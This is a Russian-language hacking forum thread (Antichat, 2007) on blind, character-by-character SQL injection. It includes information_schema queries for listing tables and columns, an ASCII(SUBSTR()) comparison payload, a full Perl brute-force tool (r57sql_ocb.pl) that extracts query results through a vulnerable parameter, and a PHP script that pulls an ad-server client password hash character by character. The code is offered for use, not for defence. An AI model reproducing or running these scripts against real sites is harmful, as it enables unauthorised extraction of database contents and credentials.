Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Посимвольный перебор в бд (https://forum.antichat.xyz/showthread.php?t=31770)

}{0TT@БЬ)Ч 21.01.2007 06:00

Посимвольный перебор в бд
 
Вот прочитал статью и ни как не могу понять, получается что название колонок,таблиц,бд нельзя таким способом подобрать :confused: Тоесть этот метод используется, если уже известны название, но не осуществляется вывод данных полученных из запроса? :confused:

guest3297 21.01.2007 11:01

да

_Great_ 21.01.2007 14:25

[cash], не совсем.

БД: database()
колонки и таблицы можно, если версия mysql >= 5.0:
таблицы: select table_name from information_schema.tables
колонки: select column_name from information_schema.columns where table_name='table'

}{0TT@БЬ)Ч 21.01.2007 15:54

Цитата:

Сообщение от _Great_
[cash], не совсем.

БД: database()
колонки и таблицы можно, если версия mysql >= 5.0:
таблицы: select table_name from information_schema.tables
колонки: select column_name from information_schema.columns where table_name='table'

тогда получается это уже не посимвольный перебор :) тоесть название колонок,таблиц существующих будет выводиться в сообщениях об ошибках?

_Great_ 21.01.2007 16:20

нет, я про посимвольный перебор
он ведь организуется через
ASCII(SUBSTR(строка, индекс, 1)) > число

в качестве строки для перебора будет подзапрос - (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1), например.
Ну или через UNION. Врубил?

}{0TT@БЬ)Ч 21.01.2007 16:45

все, теперь ясно надо подкрепить материал на практике:)Спасибо _Great_

Nekt 24.01.2007 15:28

У меня был скрипт который перебирал буквы логина или пасса... Задал номер символа в логине или пассе и он перебирает.

C[]R3 24.01.2007 16:48

Цитата:

У меня был скрипт который перебирал буквы логина или пасса... Задал номер символа в логине или пассе и он перебираетъ
r57_sql_ocb.pl кажетсо, вот код
Код:

#!/usr/bin/perl

# r57sql_ocb.pl
# sql-databases one char bruteforce tool

use LWP::UserAgent;

$path  = $ARGV[0]; # запрос с уязвимому скрипту с параметром
$query  = $ARGV[1]; # запрос к БД (подзапрос) результат которого будет вставлен в функцию substring()
$s_num  = $ARGV[2]; # позиция символа который перебираем
$string = $ARGV[3]; # строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД

if (@ARGV < 4) { &usage; }

# диапазон символов для перебора
$min = $ARGV[4] || 97;  # a
$max = $ARGV[5] || 122; # z

&found($min,$max);

# подпрограмма уменьшения диапазона символов
sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 # если диапазон менее 5 символов то переходим к перебору
 if (($fmax-$fmin)<5) { &crack($fmin,$fmax); }
 # иначе находим середину диапазона
 print "-> Try $fmin .. $fmax -> ";
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = ">$r";
 # проверяем ответ скрипта и в зависимости от возвращенного результата
 # рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза)
 if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); }
 else { print "Char < $r\r\n"; &found($fmin,$r+1); }
 }

# подпрограмма поиска перебором
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 # проходим циклом по диапазону
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  print "-> Try $i ->";
  # проверяем ответ скрипта, если ответ положительный то выводим символ и выходим
  if ( &check($crcheck) ) { print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); }
  else { print " NO =(\r\n"; }
  $i++;
  }
 print "NOT FOUND"; exit();
 }

# подпрограмма проверки результата запроса
sub check($)
 {
 $ccheck = $_[0];
 # формируем запрос к скрипту
 $http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))".$ccheck;
 # отправляем запрос
 $mcb_reguest = LWP::UserAgent->new() or die;
 $res = $mcb_reguest->post($http_query);
 # получаем ответ сервера
 @results = $res->content;
 foreach $result(@results)
  {
  # ищем в ответе скрипта строку совпадающую с нашим условием
  if ($result =~ /$string/) { return 1; }
  }
 return 0;
 }
 
sub usage
 {
 print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position] [return_string] [brute_min_char] [brute_max_char]\r\n";
 print "e.g. : $0 http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57";
 exit();
 }


Nekt 24.01.2007 21:14

PHP код:

<?
    $sp
=$_GET["sp"];
    
$type="num";
    
$hash="";
    
$s="http://host.com/include/viewDoc.php?docid=1+AND+ascii(lower(substring((SELECT+clientpassword+from+phpads_clients+LIMIT+1),$sp,1)))<58";
    
$f=fopen($s,r);
    
$get=fread($f,200);
    
fclose($f);
    if (
$get!="")
        
$type="num";
    else
        
$type="char";
    switch (
$type){
        case 
"num":
            
$start=48;
            
$fin=58;
            
            break;
        case 
"char":
            
$start=92;
            
$fin=103;
            
            break;
    }
    for (
$i=$start;$i<$fin;$i++){
        
$s="http://host.com/include/viewDoc.php?docid=1+AND+ascii(lower(substring((SELECT+clientpassword+from+phpads_clients+LIMIT+1),$sp,1)))=$i";
        
$f=fopen($s,r);
        
$get=fread($f,200);
        
fclose($f);
        if (
$get!=""){
            
$hash=chr($i);
            break;
        }
    }
    echo 
$hash;
?>

:)
Вот нашел. Вроде он. :)
P.S. если мона плюсик.


Время: 19:59